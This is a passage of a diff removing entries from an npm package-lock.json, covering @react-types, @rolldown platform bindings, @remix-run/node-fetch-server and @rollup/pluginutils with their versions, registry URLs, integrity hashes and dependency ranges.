"node_modules/@react-types/accordion": { - "version": "3.0.0-alpha.26", - "resolved": "https://registry.npmjs.org/@react-types/accordion/-/accordion-3.0.0-alpha.26.tgz", - "integrity": "sha512-OXf/kXcD2vFlEnkcZy/GG+a/1xO9BN7Uh3/5/Ceuj9z2E/WwD55YwU3GFM5zzkZ4+DMkdowHnZX37XnmbyD3Mg==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.27.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/breadcrumbs": { - "version": "3.7.19", - "resolved": "https://registry.npmjs.org/@react-types/breadcrumbs/-/breadcrumbs-3.7.19.tgz", - "integrity": "sha512-AnkyYYmzaM2QFi/N0P/kQLM8tHOyFi7p397B/jEMucXDfwMw5Ny1ObCXeIEqbh8KrIa2Xp8SxmQlCV+8FPs4LA==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/link": "^3.6.7", - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/button": { - "version": "3.15.1", - "resolved": "https://registry.npmjs.org/@react-types/button/-/button-3.15.1.tgz", - "integrity": "sha512-M1HtsKreJkigCnqceuIT22hDJBSStbPimnpmQmsl7SNyqCFY3+DHS7y/Sl3GvqCkzxF7j9UTL0dG38lGQ3K4xQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/calendar": { - "version": "3.8.3", - "resolved": "https://registry.npmjs.org/@react-types/calendar/-/calendar-3.8.3.tgz", - "integrity": "sha512-fpH6WNXotzH0TlKHXXxtjeLZ7ko0sbyHmwDAwmDFyP7T0Iwn1YQZ+lhceLifvynlxuOgX6oBItyUKmkHQ0FouQ==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/checkbox": { - "version": "3.10.4", - "resolved": "https://registry.npmjs.org/@react-types/checkbox/-/checkbox-3.10.4.tgz", - "integrity": "sha512-tYCG0Pd1usEz5hjvBEYcqcA0youx930Rss1QBIse9TgMekA1c2WmPDNupYV8phpO8Zuej3DL1WfBeXcgavK8aw==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/combobox": { - "version": "3.14.0", - "resolved": "https://registry.npmjs.org/@react-types/combobox/-/combobox-3.14.0.tgz", - "integrity": "sha512-zmSSS7BcCOD8rGT8eGbVy7UlL5qq1vm88fFn4WgFe+lfK33ne+E7yTzTxcPY2TCGSo5fY6xMj3OG79FfVNGbSg==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/datepicker": { - "version": "3.13.5", - "resolved": "https://registry.npmjs.org/@react-types/datepicker/-/datepicker-3.13.5.tgz", - "integrity": "sha512-j28Vz+xvbb4bj7+9Xbpc4WTvSitlBvt7YEaEGM/8ZQ5g4Jr85H2KwkmDwjzmMN2r6VMQMMYq9JEcemq5wWpfUQ==", - "license": "Apache-2.0", - "dependencies": { - "@internationalized/date": "^3.12.0", - "@react-types/calendar": "^3.8.3", - "@react-types/overlays": "^3.9.4", - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/dialog": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/@react-types/dialog/-/dialog-3.6.0.tgz", - "integrity": "sha512-vvxohmsTRZWE/saaJt6mMy3ONA4xbQTSk1okfMUK6OMSp/VpLBRLCz/2/myiMK3UIBCagUnrwzOwbk9whnFx0g==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/dialog": "^3.6.0", - "@react-spectrum/dialog": "^3.10.0" - }, - "peerDependencies": { - "@react-spectrum/provider": "^3.0.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/dialog/node_modules/@react-aria/dialog": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/@react-aria/dialog/-/dialog-3.6.1.tgz", - "integrity": "sha512-Eo3Kj23TjENuERUYrGkH+VN1PJvK8/zep76pfwBg29erUVDpGdfagYRq82aGcxJ/ohG8iRxZDwp2tTrU1RG1MQ==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/form": { - "version": "3.7.18", - "resolved": "https://registry.npmjs.org/@react-types/form/-/form-3.7.18.tgz", - "integrity": "sha512-0sBJW0+I9nJcF4SmKrYFEWAlehiebSTy7xqriqAXtqfTEdvzAYLGaAK2/7gx+wlNZeDTdW43CDRJ4XAhyhBqnw==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/grid": { - "version": "3.3.8", - "resolved": "https://registry.npmjs.org/@react-types/grid/-/grid-3.3.8.tgz", - "integrity": "sha512-zJvXH8gc1e1VH2H3LRnHH/W2HIkLkZMH3Cu5pLcj0vDuLBSWpcr3Ikh3jZ+VUOZF0G1Jt1lO8pKIaqFzDLNmLQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/link": { - "version": "3.6.7", - "resolved": "https://registry.npmjs.org/@react-types/link/-/link-3.6.7.tgz", - "integrity": "sha512-1apXCFJgMC1uydc2KNENrps1qR642FqDpwlNWe254UTpRZn/hEZhA6ImVr8WhomfLJu672WyWA0rUOv4HT+/pQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/listbox": { - "version": "3.8.0", - "resolved": "https://registry.npmjs.org/@react-types/listbox/-/listbox-3.8.0.tgz", - "integrity": "sha512-6l/P1mYQUQ7hGW6x8cH/EB8YvRzhhoB536G/GI7t2F2FbjcGkA1kNXhzDo24tLTXi9elnehevEEySRsRa9p6VA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/listbox": "^3.16.0", - "@react-spectrum/listbox": "^3.16.0" - }, - "peerDependencies": { - "@react-spectrum/provider": "^3.0.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/listbox/node_modules/@react-aria/listbox": { - "version": "3.16.1", - "resolved": "https://registry.npmjs.org/@react-aria/listbox/-/listbox-3.16.1.tgz", - "integrity": "sha512-FbNeUXmo/H2Qp+yKboNod1eVhfmQDv1YexzEIAHsKL5Cx8uA7wZID9Pbq28jPC4plPISgS5KLBodaDikOXqviA==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/menu": { - "version": "3.10.7", - "resolved": "https://registry.npmjs.org/@react-types/menu/-/menu-3.10.7.tgz", - "integrity": "sha512-+p7ixZdvPDJZhisqdtWiiuJ9pteNfK5i19NB6wzAw5XkljbEzodNhwLv6rI96DY5XpbFso2kcjw7IWi+rAAGGQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/overlays": "^3.9.4", - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/numberfield": { - "version": "3.8.18", - "resolved": "https://registry.npmjs.org/@react-types/numberfield/-/numberfield-3.8.18.tgz", - "integrity": "sha512-nLzk7YAG9yAUtSv+9R8LgCHsu8hJq8/A+m1KsKxvc8WmNJjIujSFgWvT21MWBiUgPBzJKGzAqpMDDa087mltJQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/overlays": { - "version": "3.9.4", - "resolved": "https://registry.npmjs.org/@react-types/overlays/-/overlays-3.9.4.tgz", - "integrity": "sha512-7Z9HaebMFyYBqtv3XVNHEmVkm7AiYviV7gv0c98elEN2Co+eQcKFGvwBM9Gy/lV57zlTqFX1EX/SAqkMEbCLOA==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/progress": { - "version": "3.5.18", - "resolved": "https://registry.npmjs.org/@react-types/progress/-/progress-3.5.18.tgz", - "integrity": "sha512-mKeQn+KrHr1y0/k7KtrbeDGDaERH6i4f6yBwj/ZtYDCTNKMO3tPHJY6nzF0w/KKZLplIO+BjUbHXc2RVm8ovwQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/radio": { - "version": "3.9.4", - "resolved": "https://registry.npmjs.org/@react-types/radio/-/radio-3.9.4.tgz", - "integrity": "sha512-TkMRY3sA1PcFZhhclu4IUzUTIir6MzNJj8h6WT8vO6Nug2kXJ72qigugVFBWJSE472mltduOErEAo0rtAYWbQA==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/shared": { - "version": "3.33.1", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.33.1.tgz", - "integrity": "sha512-oJHtjvLG43VjwemQDadlR5g/8VepK56B/xKO2XORPHt9zlW6IZs3tZrYlvH29BMvoqC7RtE7E5UjgbnbFtDGag==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/slider": { - "version": "3.9.0", - "resolved": "https://registry.npmjs.org/@react-types/slider/-/slider-3.9.0.tgz", - "integrity": "sha512-gbQWB8LnucC+jhDi5Imd2ZDPbVuiHt0xzObGHWq6GTZ3slLgTvGQaHNO5h9+h7dZH0iFQOVNb6+TlyTsnjFuAw==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/slider": "^3.9.0", - "@react-spectrum/slider": "^3.9.0", - "@react-stately/slider": "^3.8.0" - }, - "peerDependencies": { - "@react-spectrum/provider": "^3.0.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/slider/node_modules/@react-aria/slider": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/@react-aria/slider/-/slider-3.9.1.tgz", - "integrity": "sha512-bFWhyM6mP9TzAjCpOKybS7x0RTsFa2+49XKytKN53xS7bdHEnWGbWpsdJ09qZ6z1fnrwFcq/j/hhj/0gVO8kdQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.34.0", - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/slider/node_modules/@react-stately/slider": { - "version": "3.8.1", - "resolved": "https://registry.npmjs.org/@react-stately/slider/-/slider-3.8.1.tgz", - "integrity": "sha512-MSfiRJakgdp2FSPtDeViEgXbYjRBGXXSTvExUvDDZx2xiEmSgefEQ4WWwCWPN4tdWbRISZoCYrmG8mY04Gevpw==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/slider/node_modules/@react-types/shared": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.35.0.tgz", - "integrity": "sha512-iNWvuzEwANttpQpdlu8nPBtdHb0mcCMj1ZTH//iRB5E/14IAnyRlR25rxH7pNLyzHINsPGEKnWvpwDMCT6vziQ==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/switch": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/@react-types/switch/-/switch-3.6.0.tgz", - "integrity": "sha512-6pjDO5a35ovAAw5xsSJoftmUP1BhFzKazB5IuVBNTbeEvJjz/LC1NGkVV3sQX68ZDSZ0UyYLS7ENIVHKU+hjzA==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/switch": "^3.8.0", - "@react-spectrum/switch": "^3.7.0" - }, - "peerDependencies": { - "@react-spectrum/provider": "^3.0.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/switch/node_modules/@react-aria/switch": { - "version": "3.8.1", - "resolved": "https://registry.npmjs.org/@react-aria/switch/-/switch-3.8.1.tgz", - "integrity": "sha512-WzkJG3xJnBdd9rdBxG+0RgWdopAqwI61Ni4ZQtA2rgFuG9UpZIrhsL7qgFO/+R6oEgoeGAMeUlvCf97Ppj2uTg==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/table": { - "version": "3.13.6", - "resolved": "https://registry.npmjs.org/@react-types/table/-/table-3.13.6.tgz", - "integrity": "sha512-eluL+iFfnVmFm7OSZrrFG9AUjw+tcv898zbv+NsZACa8oXG1v9AimhZfd+Mo8q/5+sX/9hguWNXFkSvmTjuVPQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/grid": "^3.3.8", - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/tabs": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/@react-types/tabs/-/tabs-3.4.0.tgz", - "integrity": "sha512-/o2gmSKK9MmXCVL9vs+YYU1fl+u3+p07nbl2KXk0aL0UhVfgev3pKpFMjsWBiF9kUGp3EnVNjEDr8ZlSMIgZqQ==", - "license": "Apache-2.0", - "dependencies": { - "@react-aria/tabs": "^3.12.0", - "@react-spectrum/tabs": "^3.9.0", - "@react-stately/tabs": "^3.9.0" - }, - "peerDependencies": { - "@react-spectrum/provider": "^3.0.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/tabs/node_modules/@react-aria/tabs": { - "version": "3.12.1", - "resolved": "https://registry.npmjs.org/@react-aria/tabs/-/tabs-3.12.1.tgz", - "integrity": "sha512-fGMxbqSnqtn3GRiicLfnhWcnD6Auch0qCyt5ArfndYrISmSZkzq7PVZtDj85TEqC6p8WSw/M7HjWBBUX5/Of0g==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.34.0", - "@swc/helpers": "^0.5.0", - "react-aria": "^3.48.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/tabs/node_modules/@react-stately/tabs": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/@react-stately/tabs/-/tabs-3.9.1.tgz", - "integrity": "sha512-xS9ByN7OMqvU9wyZJ8MnDvRTdsmB+GUP1whlRh4NmxWGmL4SDXKd4slSUGfb2lRi8lgT0OCAjd9om80HJP0p3w==", - "license": "Apache-2.0", - "dependencies": { - "@swc/helpers": "^0.5.0", - "react-stately": "^3.46.0" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/tabs/node_modules/@react-types/shared": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.35.0.tgz", - "integrity": "sha512-iNWvuzEwANttpQpdlu8nPBtdHb0mcCMj1ZTH//iRB5E/14IAnyRlR25rxH7pNLyzHINsPGEKnWvpwDMCT6vziQ==", - "license": "Apache-2.0", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/textfield": { - "version": "3.12.8", - "resolved": "https://registry.npmjs.org/@react-types/textfield/-/textfield-3.12.8.tgz", - "integrity": "sha512-wt6FcuE5AyntxsnPika/h3nf/DPmeAVbI018L9o6h+B/IL4sMWWdx663wx2KOOeHH8ejKGZQNPLhUKs4s1mVQA==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@react-types/tooltip": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/@react-types/tooltip/-/tooltip-3.5.2.tgz", - "integrity": "sha512-FvSuZ2WP08NEWefrpCdBYpEEZh/5TvqvGjq0wqGzWg2OPwpc14HjD8aE7I3MOuylXkD4MSlMjl7J4DlvlcCs3Q==", - "license": "Apache-2.0", - "dependencies": { - "@react-types/overlays": "^3.9.4", - "@react-types/shared": "^3.33.1" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@remix-run/node-fetch-server": { - "version": "0.13.3", - "resolved": "https://registry.npmjs.org/@remix-run/node-fetch-server/-/node-fetch-server-0.13.3.tgz", - "integrity": "sha512-UfjOXed/DQteaM5VyTfqTeGpHwyL2J5aoRGY6cydip4tt1ehNNeSwuXCC7AEGE0RWBs/7bgKxYkL/B/+UDe4AA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz", - "integrity": "sha512-454rs7jHngixp/NMxd5srYD57OnzSlZ/eFTETjORQHLwJG1lRtmNOJcBerZlfu4GjKqeq8aCCIQrMdHyhI51Hw==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.3.tgz", - "integrity": "sha512-PcAhP+ynjURNyy8SKGl5DQP94aGuB/7JrXJb/t7P+hanXvQVMWzUvRRhBAcg/lNRadBhoUPqSoP4xw5tR/KBEA==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.3.tgz", - "integrity": "sha512-9YpfeUvSE2RS7wysJ81uOZkXJz7f7Q55H2Gvp3VEw/EsahqDtrphrZ0EwDLK5vvKOzaCrBsjF8JmnMLcUt78Gg==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.3.tgz", - "integrity": "sha512-yB1IlAsSNHncV6SCTL27/MVGR5htvQsoGxIv5KMGXALp+Ll1wYsn+x98M9MW7qa+NdSbvrrY7ANI4wLJ0n1e6g==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.3.tgz", - "integrity": "sha512-Yi30IVAAfLUCy2MseFjbB1jAMDl1VMCAas5StnYp8da9+CKvMd2H2cbEjWcw5NPaPqzvYkVIaF1nNUG+b7u/sw==", - "cpu": [ - "arm" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.3.tgz", - "integrity": "sha512-jsO7R8To+AdlYgUmN5sHSCZbfhtMBkO0WUx8iORQnPcMMdgr7qM2DQmMwgabs3GhNztdmoKkMKQFHD6DTMCIQw==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.3.tgz", - "integrity": "sha512-VWkUHwWriDciit80wleYwKILoR/KMvxh/IdwS/paX+ZgpuRpCrKLUdadJbc0NpBEiyhpYawsJ73j9aCvOH+f7Q==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.3.tgz", - "integrity": "sha512-5f1laC0SlIR0yDbFCd8acUhvJIag6N3zC5P7oUPN6wX0aOma+uKJ0wBDH5aq7I1PVI2ttTlhJwzwRIBnLiSGEg==", - "cpu": [ - "ppc64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.3.tgz", - "integrity": "sha512-Iq4ko0r4XsgbrF/LunNgHtAGLRRVE2kXonAXQ/MV0mC6jQpMOhW1SvtZja2EhC/kd05++bP78dsqBeIQyYJ6Yg==", - "cpu": [ - "s390x" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.3.tgz", - "integrity": "sha512-B8m6tD5+/N5FeNQFbKlLA/2yVq9ycQP1SeedyEYYKWBNR3ZQbkvIUcNnDNM03lO1l5F2roiiFJGgvoLLyZXtSg==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.3.tgz", - "integrity": "sha512-pSdpdUJHkuCxun9LE7jvgUB9qsRgaiyNNCX7m/AvHTcq67AiT/Yhoxvw5zPfhrM8k/BfP8ce/hMOpthKDpEUow==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.3.tgz", - "integrity": "sha512-OXXS3RKJgX2uLwM+gYyuH5omcH8fL1LJs96pZGgtetVCahON57+d4SJHzTgZiOjxgGkSnpXpOsWuPDGAKAigEg==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.3.tgz", - "integrity": "sha512-JTtb8BWFynicNSoPrehsCzBtOKjZ6jhMiPFEmOiuXg1Fl8dn2KHQob+GuPSGR0dryQa1PQJbzjF3dqO/whhjLg==", - "cpu": [ - "wasm32" - ], - "optional": true, - "dependencies": { - "@emnapi/core": "1.10.0", - "@emnapi/runtime": "1.10.0", - "@napi-rs/wasm-runtime": "^1.1.4" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.3.tgz", - "integrity": "sha512-gEdFFEN70A/jxb2svrWsN3aDL7OUtmvlOy+6fa2jxG8K0wQ1ZbdeLGnidov6Yu5/733dI5ySfzFlQ/cb0bSz1g==", - "cpu": [ - "arm64" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.3.tgz", - "integrity": "sha512-eXB7CHuaQdqmJcc3koCNtNPmT/bj2gc999kUFgBxG8Ac0NdgXc4rkCHhqrgrhN3zddvvvrgzj1e90SuSfmyIXA==", - "cpu": [ - "x64" - ], - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^20.19.0 || >=22.12.0" - } - }, - "node_modules/@rolldown/pluginutils": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", - "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==" - }, - "node_modules/@rollup/pluginutils": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.4.0.tgz", - "integrity": "sha512-MfPp06CjRLfXQ3wY0R8vJDYBy/MvVcc9OulEfR0B8Iv9ko+GCNaRZ+EpJYFl27LhKsZK0o420sYCRHCjfCgeUg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0", - "estree-walker": "^2.0.2", - "picomatch": "^4.0.2" - }, - "engines": { - "node": ">=14.0.0" - }, - "peerDependencies": { - "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" - }, - "peerDependenciesMeta": { - "rollup": { - "optional": true - } - } - }, - 